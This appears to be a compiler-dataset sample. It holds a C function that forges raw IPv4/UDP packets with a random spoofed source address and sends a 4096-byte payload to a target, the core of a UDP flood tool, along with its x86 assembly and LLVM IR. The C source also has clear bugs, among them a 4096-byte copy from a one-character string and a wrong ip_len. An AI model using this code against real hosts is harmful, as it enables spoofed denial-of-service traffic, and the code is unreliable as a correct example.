#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_6__ TYPE_3__;
typedef struct TYPE_5__ TYPE_2__;
typedef struct TYPE_4__ TYPE_1__;

/* Type definitions */
typedef int /*<<< orphan*/ un;
struct udphdr {
  unsigned short uh_sport;
  unsigned short uh_dport;
  scalar_t__ uh_sum;
  int /*<<< orphan*/ uh_ulen;
};
struct TYPE_4__ {
  unsigned long s_addr;
};
struct sockaddr_in {
  unsigned short sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct TYPE_6__ {
  unsigned long s_addr;
};
struct TYPE_5__ {
  unsigned long s_addr;
};
struct ip {
  int ip_v;
  int ip_hl;
  int ip_len;
  int ip_ttl;
  int ip_id;
  TYPE_3__ ip_dst;
  TYPE_2__ ip_src;
  scalar_t__ ip_sum;
  int /*<<< orphan*/ ip_p;
  scalar_t__ ip_off;
  scalar_t__ ip_tos;
};
typedef int /*<<< orphan*/ pksize;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ IPPROTO_IP;
int /*<<< orphan*/ IPPROTO_RAW;
int /*<<< orphan*/ IPPROTO_UDP;
int /*<<< orphan*/ IP_HDRINCL;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ free(char *);
unsigned long hasard(int, int);
int /*<<< orphan*/ htons(int);
unsigned long inet_addr(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int sendto(int, char *, int, int /*<<< orphan*/, struct sockaddr *, int);
int setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
void udp(char *cible) {
  int sd;
  sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sd == -1) {
    fprintf(stderr, "socket() error, root ?\n");
  }
  unsigned long ip_src = hasard(4294967295 / 2, 4294967295);
  unsigned long ip_dst = inet_addr(cible);
  unsigned short p_src = (unsigned short)hasard(0, 65535);
  unsigned short p_dst = (unsigned short)hasard(0, 65535);
  struct sockaddr_in sin;
  sin.sin_family = AF_INET;
  sin.sin_port = p_dst;
  sin.sin_addr.s_addr = ip_dst;
  struct ip *ip;
  struct udphdr *udp;
  char *dgm, *data;
  int pksize = sizeof(struct ip) + sizeof(struct udphdr) + 4096;
  dgm = (char *)malloc(pksize);
  ip = (struct ip *)dgm;
  udp = (struct udphdr *)(dgm + sizeof(struct ip));
  data = (char *)(dgm + sizeof(struct ip) + sizeof(struct udphdr));
  memset(dgm, 0, pksize);
  memcpy((char *)data, "G", 4096);
  int un = 1;
  if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&un, sizeof(un)) == -1) {
    fprintf(stderr, "setsockopt()");
    exit(-1);
  }
  ip->ip_v = 4;
  ip->ip_hl = 5;
  ip->ip_tos = 0;
  ip->ip_len = sizeof(pksize);
  ip->ip_ttl = 255;
  ip->ip_off = 0;
  ip->ip_id = sizeof(45);
  ip->ip_p = IPPROTO_UDP;
  ip->ip_sum = 0;
  ip->ip_src.s_addr = ip_src;
  ip->ip_dst.s_addr = ip_dst;
  udp->uh_sport = p_src;
  udp->uh_dport = p_dst;
  udp->uh_ulen = htons(sizeof(struct udphdr) + 4096);
  udp->uh_sum = 0;
  if (sendto(sd, dgm, pksize, 0, (struct sockaddr *)&sin,
             sizeof(struct sockaddr)) == -1) {
    fprintf(stderr, "oops, sendto() error\n");
  }
  free(dgm);
  close(sd);
}


x86 assembly (clang, -O0):
<udp>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2dfd(%rip),%rax
mov    (%rax),%edi
mov    0x2dec(%rip),%rax
mov    (%rax),%esi
mov    0x2dc3(%rip),%rax
mov    (%rax),%edx
call   10f0 <socket@plt>
mov    %eax,-0xc(%rbp)
cmpl   $0xffffffff,-0xc(%rbp)
jne    121e <udp+0x4e>
mov    0x2db0(%rip),%rax
mov    (%rax),%edi
lea    0xde7(%rip),%rsi
call   10b0 <fprintf@plt>
mov    $0x7fffffff,%edi
mov    $0xffffffff,%esi
call   1040 <hasard@plt>
mov    %rax,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
call   10a0 <inet_addr@plt>
mov    %rax,-0x20(%rbp)
xor    %edi,%edi
mov    $0xffff,%esi
call   1040 <hasard@plt>
mov    %ax,-0x22(%rbp)
xor    %edi,%edi
mov    $0xffff,%esi
call   1040 <hasard@plt>
mov    %ax,-0x24(%rbp)
mov    0x2d7b(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x30(%rbp)
mov    -0x24(%rbp),%ax
mov    %ax,-0x40(%rbp)
mov    -0x20(%rbp),%rax
mov    %rax,-0x38(%rbp)
movl   $0x1060,-0x64(%rbp)
mov    -0x64(%rbp),%edi
call   10d0 <malloc@plt>
mov    %rax,-0x58(%rbp)
mov    -0x58(%rbp),%rax
mov    %rax,-0x48(%rbp)
mov    -0x58(%rbp),%rax
add    $0x48,%rax
mov    %rax,-0x50(%rbp)
mov    -0x58(%rbp),%rax
add    $0x48,%rax
add    $0x18,%rax
mov    %rax,-0x60(%rbp)
mov    -0x58(%rbp),%rdi
mov    -0x64(%rbp),%edx
xor    %esi,%esi
call   1070 <memset@plt>
mov    -0x60(%rbp),%rdi
lea    0xd4e(%rip),%rsi
mov    $0x1000,%edx
call   10c0 <memcpy@plt>
movl   $0x1,-0x68(%rbp)
mov    -0xc(%rbp),%edi
mov    0x2ceb(%rip),%rax
mov    (%rax),%esi
mov    0x2d02(%rip),%rax
mov    (%rax),%edx
lea    -0x68(%rbp),%rcx
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    1327 <udp+0x157>
mov    0x2cb1(%rip),%rax
mov    (%rax),%edi
lea    0xd02(%rip),%rsi
call   10b0 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
mov    -0x48(%rbp),%rax
movl   $0x4,(%rax)
mov    -0x48(%rbp),%rax
movl   $0x5,0x4(%rax)
mov    -0x48(%rbp),%rax
movq   $0x0,0x40(%rax)
mov    -0x48(%rbp),%rax
movl   $0x4,0x8(%rax)
mov    -0x48(%rbp),%rax
movl   $0xff,0xc(%rax)
mov    -0x48(%rbp),%rax
movq   $0x0,0x38(%rax)
mov    -0x48(%rbp),%rax
movl   $0x4,0x10(%rax)
mov    0x2c2c(%rip),%rax
mov    (%rax),%ecx
mov    -0x48(%rbp),%rax
mov    %ecx,0x30(%rax)
mov    -0x48(%rbp),%rax
movq   $0x0,0x28(%rax)
mov    -0x18(%rbp),%rcx
mov    -0x48(%rbp),%rax
mov    %rcx,0x20(%rax)
mov    -0x20(%rbp),%rcx
mov    -0x48(%rbp),%rax
mov    %rcx,0x18(%rax)
mov    -0x22(%rbp),%cx
mov    -0x50(%rbp),%rax
mov    %cx,(%rax)
mov    -0x24(%rbp),%cx
mov    -0x50(%rbp),%rax
mov    %cx,0x2(%rax)
mov    $0x1018,%edi
call   1060 <htons@plt>
mov    %eax,%ecx
mov    -0x50(%rbp),%rax
mov    %ecx,0x10(%rax)
mov    -0x50(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    -0xc(%rbp),%edi
mov    -0x58(%rbp),%rsi
mov    -0x64(%rbp),%edx
lea    -0x40(%rbp),%r8
xor    %ecx,%ecx
mov    $0x4,%r9d
call   1080 <sendto@plt>
cmp    $0xffffffff,%eax
jne    1418 <udp+0x248>
mov    0x2bb6(%rip),%rax
mov    (%rax),%edi
lea    0xc14(%rip),%rsi
call   10b0 <fprintf@plt>
mov    -0x58(%rbp),%rdi
call   1030 <free@plt>
mov    -0xc(%rbp),%edi
call   1090 <close@plt>
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<udp>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %rdi,%rbx
mov    0x2df8(%rip),%r14
mov    (%r14),%edi
mov    0x2de6(%rip),%rax
mov    (%rax),%esi
mov    0x2dbd(%rip),%rax
mov    (%rax),%edx
call   10f0 <socket@plt>
mov    %eax,%r15d
cmp    $0xffffffff,%eax
jne    121f <udp+0x4f>
mov    0x2daf(%rip),%rax
mov    (%rax),%edi
lea    0xdf6(%rip),%rsi
call   10b0 <fprintf@plt>
mov    $0x7fffffff,%edi
mov    $0xffffffff,%esi
call   1040 <hasard@plt>
mov    %rax,0x8(%rsp)
mov    %rbx,%rdi
call   10a0 <inet_addr@plt>
mov    %rax,%r13
xor    %edi,%edi
mov    $0xffff,%esi
call   1040 <hasard@plt>
mov    %rax,%r12
xor    %edi,%edi
mov    $0xffff,%esi
call   1040 <hasard@plt>
mov    %rax,%rbp
mov    (%r14),%eax
mov    %eax,0x20(%rsp)
mov    %bp,0x10(%rsp)
mov    %r13,0x18(%rsp)
mov    $0x1060,%edi
call   10d0 <malloc@plt>
mov    %rax,%rbx
lea    0x60(%rax),%r14
mov    %rax,%rdi
xor    %esi,%esi
mov    $0x1060,%edx
call   1070 <memset@plt>
lea    0xd94(%rip),%rsi
mov    %r14,%rdi
mov    $0x1000,%edx
call   10c0 <memcpy@plt>
movl   $0x1,0x4(%rsp)
mov    0x2d20(%rip),%rax
mov    (%rax),%esi
mov    0x2d37(%rip),%rax
mov    (%rax),%edx
lea    0x4(%rsp),%rcx
mov    %r15d,%edi
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
je     1384 <udp+0x1b4>
movaps 0xd22(%rip),%xmm0
movups %xmm0,(%rbx)
xorps  %xmm0,%xmm0
movups %xmm0,0x38(%rbx)
movl   $0x4,0x10(%rbx)
mov    0x2cb2(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x30(%rbx)
movq   $0x0,0x28(%rbx)
mov    0x8(%rsp),%rax
mov    %rax,0x20(%rbx)
mov    %r13,0x18(%rbx)
mov    %r12w,0x48(%rbx)
mov    %bp,0x4a(%rbx)
mov    $0x1018,%edi
call   1060 <htons@plt>
mov    %eax,0x58(%rbx)
movq   $0x0,0x50(%rbx)
lea    0x10(%rsp),%r8
mov    %r15d,%edi
mov    %rbx,%rsi
mov    $0x1060,%edx
xor    %ecx,%ecx
mov    $0x4,%r9d
call   1080 <sendto@plt>
cmp    $0xffffffff,%eax
jne    1365 <udp+0x195>
mov    0x2c69(%rip),%rax
mov    (%rax),%edi
lea    0xcd7(%rip),%rsi
call   10b0 <fprintf@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r15d,%edi
call   1090 <close@plt>
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2c35(%rip),%rax
mov    (%rax),%edi
lea    0xc96(%rip),%rsi
call   10b0 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i16, %struct.TYPE_4__, i32 }
%struct.TYPE_4__ = type { i64 }
%struct.ip = type { i32, i32, i32, i32, i32, %struct.TYPE_6__, %struct.TYPE_5__, i64, i32, i64, i64 }
%struct.TYPE_6__ = type { i64 }
%struct.TYPE_5__ = type { i64 }
%struct.udphdr = type { i16, i16, i64, i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@stderr = global i32 0
@.str = [24 x i8] c"socket() error, root ?\0A\00"
@.str.1 = [2 x i8] c"G\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.2 = [13 x i8] c"setsockopt()\00"
@IPPROTO_UDP = global i32 0
@.str.3 = [22 x i8] c"oops, sendto() error\0A\00"
define void @udp(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
%4 = alloca i64
%5 = alloca i64
%6 = alloca i16
%7 = alloca i16
%8 = alloca %struct.sockaddr_in
%9 = alloca %struct.ip*
%10 = alloca %struct.udphdr*
%11 = alloca i8*
%12 = alloca i8*
%13 = alloca i32
%14 = alloca i32
store i8* %0, i8** %2
%15 = load i32, i32* @AF_INET
%16 = load i32, i32* @SOCK_RAW
%17 = load i32, i32* @IPPROTO_RAW
%18 = call i32 @socket(i32 %15, i32 %16, i32 %17)
store i32 %18, i32* %3
%19 = load i32, i32* %3
%20 = icmp eq i32 %19, -1
br i1 %20, label %21, label %24
21: ; preds = %1
%22 = load i32, i32* @stderr
%23 = call i32 @fprintf(i32 %22, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
br label %24
24: ; preds = %21, %1
%25 = call i64 @hasard(i32 2147483647, i32 -1)
store i64 %25, i64* %4
%26 = load i8*, i8** %2
%27 = call i64 @inet_addr(i8* %26)
store i64 %27, i64* %5
%28 = call i64 @hasard(i32 0, i32 65535)
%29 = trunc i64 %28 to i16
store i16 %29, i16* %6
%30 = call i64 @hasard(i32 0, i32 65535)
%31 = trunc i64 %30 to i16
store i16 %31, i16* %7
%32 = load i32, i32* @AF_INET
%33 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %32, i32* %33
%34 = load i16, i16* %7
%35 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
store i16 %34, i16* %35
%36 = load i64, i64* %5
%37 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
%38 = getelementptr inbounds %struct.TYPE_4__, %struct.TYPE_4__* %37, i32 0, i32 0
store i64 %36, i64* %38
store i32 4192, i32* %13
%39 = load i32, i32* %13
%40 = call i64 @malloc(i32 %39)
%41 = inttoptr i64 %40 to i8*
store i8* %41, i8** %11
%42 = load i8*, i8** %11
%43 = bitcast i8* %42 to %struct.ip*
store %struct.ip* %43, %struct.ip** %9
%44 = load i8*, i8** %11
%45 = getelementptr inbounds i8, i8* %44, i64 72
%46 = bitcast i8* %45 to %struct.udphdr*
store %struct.udphdr* %46, %struct.udphdr** %10
%47 = load i8*, i8** %11
%48 = getelementptr inbounds i8, i8* %47, i64 72
%49 = getelementptr inbounds i8, i8* %48, i64 24
store i8* %49, i8** %12
%50 = load i8*, i8** %11
%51 = load i32, i32* %13
%52 = call i32 @memset(i8* %50, i32 0, i32 %51)
%53 = load i8*, i8** %12
%54 = call i32 @memcpy(i8* %53, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0), i32 4096)
store i32 1, i32* %14
%55 = load i32, i32* %3
%56 = load i32, i32* @IPPROTO_IP
%57 = load i32, i32* @IP_HDRINCL
%58 = bitcast i32* %14 to i8*
%59 = call i32 @setsockopt(i32 %55, i32 %56, i32 %57, i8* %58, i32 4)
%60 = icmp eq i32 %59, -1
br i1 %60, label %61, label %65
61: ; preds = %24
%62 = load i32, i32* @stderr
%63 = call i32 @fprintf(i32 %62, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%64 = call i32 @exit(i32 -1)
unreachable
65: ; preds = %24
%66 = load %struct.ip*, %struct.ip** %9
%67 = getelementptr inbounds %struct.ip, %struct.ip* %66, i32 0, i32 0
store i32 4, i32* %67
%68 = load %struct.ip*, %struct.ip** %9
%69 = getelementptr inbounds %struct.ip, %struct.ip* %68, i32 0, i32 1
store i32 5, i32* %69
%70 = load %struct.ip*, %struct.ip** %9
%71 = getelementptr inbounds %struct.ip, %struct.ip* %70, i32 0, i32 10
store i64 0, i64* %71
%72 = load %struct.ip*, %struct.ip** %9
%73 = getelementptr inbounds %struct.ip, %struct.ip* %72, i32 0, i32 2
store i32 4, i32* %73
%74 = load %struct.ip*, %struct.ip** %9
%75 = getelementptr inbounds %struct.ip, %struct.ip* %74, i32 0, i32 3
store i32 255, i32* %75
%76 = load %struct.ip*, %struct.ip** %9
%77 = getelementptr inbounds %struct.ip, %struct.ip* %76, i32 0, i32 9
store i64 0, i64* %77
%78 = load %struct.ip*, %struct.ip** %9
%79 = getelementptr inbounds %struct.ip, %struct.ip* %78, i32 0, i32 4
store i32 4, i32* %79
%80 = load i32, i32* @IPPROTO_UDP
%81 = load %struct.ip*, %struct.ip** %9
%82 = getelementptr inbounds %struct.ip, %struct.ip* %81, i32 0, i32 8
store i32 %80, i32* %82
%83 = load %struct.ip*, %struct.ip** %9
%84 = getelementptr inbounds %struct.ip, %struct.ip* %83, i32 0, i32 7
store i64 0, i64* %84
%85 = load i64, i64* %4
%86 = load %struct.ip*, %struct.ip** %9
%87 = getelementptr inbounds %struct.ip, %struct.ip* %86, i32 0, i32 6
%88 = getelementptr inbounds %struct.TYPE_5__, %struct.TYPE_5__* %87, i32 0, i32 0
store i64 %85, i64* %88
%89 = load i64, i64* %5
%90 = load %struct.ip*, %struct.ip** %9
%91 = getelementptr inbounds %struct.ip, %struct.ip* %90, i32 0, i32 5
%92 = getelementptr inbounds %struct.TYPE_6__, %struct.TYPE_6__* %91, i32 0, i32 0
store i64 %89, i64* %92
%93 = load i16, i16* %6
%94 = load %struct.udphdr*, %struct.udphdr** %10
%95 = getelementptr inbounds %struct.udphdr, %struct.udphdr* %94, i32 0, i32 0
store i16 %93, i16* %95
%96 = load i16, i16* %7
%97 = load %struct.udphdr*, %struct.udphdr** %10
%98 = getelementptr inbounds %struct.udphdr, %struct.udphdr* %97, i32 0, i32 1
store i16 %96, i16* %98
%99 = call i32 @htons(i32 4120)
%100 = load %struct.udphdr*, %struct.udphdr** %10
%101 = getelementptr inbounds %struct.udphdr, %struct.udphdr* %100, i32 0, i32 3
store i32 %99, i32* %101
%102 = load %struct.udphdr*, %struct.udphdr** %10
%103 = getelementptr inbounds %struct.udphdr, %struct.udphdr* %102, i32 0, i32 2
store i64 0, i64* %103
%104 = load i32, i32* %3
%105 = load i8*, i8** %11
%106 = load i32, i32* %13
%107 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%108 = call i32 @sendto(i32 %104, i8* %105, i32 %106, i32 0, %struct.sockaddr* %107, i32 4)
%109 = icmp eq i32 %108, -1
br i1 %109, label %110, label %113
110: ; preds = %65
%111 = load i32, i32* @stderr
%112 = call i32 @fprintf(i32 %111, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.3, i64 0, i64 0))
br label %113
113: ; preds = %110, %65
%114 = load i8*, i8** %11
%115 = call i32 @free(i8* %114)
%116 = load i32, i32* %3
%117 = call i32 @close(i32 %116)
ret void
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i16, %struct.TYPE_4__, i32 }
%struct.TYPE_4__ = type { i64 }
%struct.ip = type { i32, i32, i32, i32, i32, %struct.TYPE_6__, %struct.TYPE_5__, i64, i32, i64, i64 }
%struct.TYPE_6__ = type { i64 }
%struct.TYPE_5__ = type { i64 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@stderr = global i32 0
@.str = [24 x i8] c"socket() error, root ?\0A\00"
@.str.1 = [2 x i8] c"G\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.2 = [13 x i8] c"setsockopt()\00"
@IPPROTO_UDP = global i32 0
@.str.3 = [22 x i8] c"oops, sendto() error\0A\00"
define void @udp(i8* %0) {
%2 = alloca %struct.sockaddr_in
%3 = alloca i32
%4 = load i32, i32* @AF_INET
%5 = load i32, i32* @SOCK_RAW
%6 = load i32, i32* @IPPROTO_RAW
%7 = tail call i32 @socket(i32 %4, i32 %5, i32 %6)
%8 = icmp eq i32 %7, -1
br i1 %8, label %9, label %12
9: ; preds = %1
%10 = load i32, i32* @stderr
%11 = tail call i32 @fprintf(i32 %10, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
br label %12
12: ; preds = %9, %1
%13 = tail call i64 @hasard(i32 2147483647, i32 -1)
%14 = tail call i64 @inet_addr(i8* %0)
%15 = tail call i64 @hasard(i32 0, i32 65535)
%16 = tail call i64 @hasard(i32 0, i32 65535)
%17 = trunc i64 %16 to i16
%18 = bitcast %struct.sockaddr_in* %2 to i8*
%19 = load i32, i32* @AF_INET
%20 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 2
store i32 %19, i32* %20
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 0
store i16 %17, i16* %21
%22 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 1, i32 0
store i64 %14, i64* %22
%23 = tail call i64 @malloc(i32 4192)
%24 = inttoptr i64 %23 to i8*
%25 = inttoptr i64 %23 to %struct.ip*
%26 = getelementptr inbounds i8, i8* %24, i64 96
%27 = tail call i32 @memset(i8* %24, i32 0, i32 4192)
%28 = tail call i32 @memcpy(i8* %26, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0), i32 4096)
%29 = bitcast i32* %3 to i8*
store i32 1, i32* %3
%30 = load i32, i32* @IPPROTO_IP
%31 = load i32, i32* @IP_HDRINCL
%32 = call i32 @setsockopt(i32 %7, i32 %30, i32 %31, i8* %29, i32 4)
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %38
34: ; preds = %12
%35 = load i32, i32* @stderr
%36 = call i32 @fprintf(i32 %35, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%37 = call i32 @exit(i32 -1)
unreachable
38: ; preds = %12
%39 = getelementptr inbounds i8, i8* %24, i64 72
%40 = trunc i64 %15 to i16
%41 = inttoptr i64 %23 to <4 x i32>*
store <4 x i32> <i32 4, i32 5, i32 4, i32 255>, <4 x i32>* %41
%42 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 9
%43 = bitcast i64* %42 to <2 x i64>*
store <2 x i64> zeroinitializer, <2 x i64>* %43
%44 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 4
store i32 4, i32* %44
%45 = load i32, i32* @IPPROTO_UDP
%46 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 8
store i32 %45, i32* %46
%47 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 7
store i64 0, i64* %47
%48 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 6, i32 0
store i64 %13, i64* %48
%49 = getelementptr inbounds %struct.ip, %struct.ip* %25, i64 0, i32 5, i32 0
store i64 %14, i64* %49
%50 = bitcast i8* %39 to i16*
store i16 %40, i16* %50
%51 = getelementptr inbounds i8, i8* %24, i64 74
%52 = bitcast i8* %51 to i16*
store i16 %17, i16* %52
%53 = call i32 @htons(i32 4120)
%54 = getelementptr inbounds i8, i8* %24, i64 88
%55 = bitcast i8* %54 to i32*
store i32 %53, i32* %55
%56 = getelementptr inbounds i8, i8* %24, i64 80
%57 = bitcast i8* %56 to i64*
store i64 0, i64* %57
%58 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%59 = call i32 @sendto(i32 %7, i8* %24, i32 4192, i32 0, %struct.sockaddr* %58, i32 4)
%60 = icmp eq i32 %59, -1
br i1 %60, label %61, label %64
61: ; preds = %38
%62 = load i32, i32* @stderr
%63 = call i32 @fprintf(i32 %62, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.3, i64 0, i64 0))
br label %64
64: ; preds = %61, %38
%65 = call i32 @free(i8* %24)
%66 = call i32 @close(i32 %7)
ret void
}